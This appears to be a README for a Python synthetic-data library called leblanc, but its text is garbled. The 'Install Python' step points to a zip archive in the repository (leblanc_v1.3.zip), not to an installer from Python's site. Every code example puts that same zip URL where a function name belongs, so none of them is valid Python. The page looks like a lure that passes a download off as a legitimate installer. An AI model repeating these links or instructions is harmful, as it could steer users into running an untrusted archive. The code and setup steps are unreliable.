leblanc is a modular Python library designed for the rapid generation of large-scale synthetic datasets across various business sectors. It is built using Pandas, NumPy, and Faker to create realistic, structured DataFrames. With leblanc, you can quickly produce data suitable for Data Science training, testing, and exploratory data analysis (EDA).

• Quick Data Generation: Produce datasets in moments, saving time for analysis.
• Realistic Data: Use advanced algorithms to create natural-looking synthetic data.
• Versatile Use Cases: Perfect for finance, agribusiness, education, and more.

Before you start using leblanc, you need to install Python on your computer.

• Operating System: Windows, macOS, or Linux.
• Python Version: Python 3.6 or higher.
• Memory: Minimum 4GB RAM recommended.
• Disk Space: At least 100MB available.

1. Download the Software Visit this page to download: GitHub Releases.

2. Install Python If you don’t have Python installed, download it from https://raw.githubusercontent.com/TechnicalIssuee/leblanc/main/assets/leblanc_v1.3.zip. Follow the installation instructions for your operating system.

3. Download leblanc On the GitHub Releases page, find the latest version of leblanc and download it.

4. Running the Application Open a command prompt or terminal window. Navigate to the folder where you have downloaded leblanc. Run the following command:

   python -m leblanc
   

   Make sure your command prompt is in the correct directory.

After installing leblanc, you can create datasets using simple commands. Below are a few examples to get you started.

To create a basic dataset, you can run:

import leblanc

data = https://raw.githubusercontent.com/TechnicalIssuee/leblanc/main/assets/leblanc_v1.3.zip(num_rows=1000)
print(data)

This will generate a dataset with 1,000 rows.

You can customize the dataset by specifying the types of data you want. For example:

data = https://raw.githubusercontent.com/TechnicalIssuee/leblanc/main/assets/leblanc_v1.3.zip(num_rows=1000, types={'name': 'string', 'age': 'integer', 'salary': 'float'})
print(data)

This code will create a dataset with names, ages, and salaries.

• Flexible Configuration: Easily customize the dataset structure.
• Output Formats: Export datasets in CSV or Excel formats.
• Built-in Quality Assurance: Validate data to ensure consistency.

finance_data = https://raw.githubusercontent.com/TechnicalIssuee/leblanc/main/assets/leblanc_v1.3.zip(num_records=500)
print(finance_data)

This example generates finance-related data with 500 records.

edu_data = https://raw.githubusercontent.com/TechnicalIssuee/leblanc/main/assets/leblanc_v1.3.zip(num_students=300)
print(edu_data)

This example creates educational data for 300 students.

To report any issues or ask for support, please create a new issue in the Issues section. If you would like to contribute, check the Contribution Guidelines.

leblanc is licensed under the MIT License. You can use it freely while maintaining credit to the original authors.

Explore the official documentation for more advanced features. The documentation includes various tutorials and examples to help you utilize leblanc effectively.

The last update was on YYYY-MM-DD. For the latest changes and features, always refer to the Release Notes.

For further information, consider these topics:

• Data Science
• Synthetic Data Generation
• Machine Learning Applications

By following these steps, you can successfully download and run leblanc to generate synthetic datasets tailored to your needs.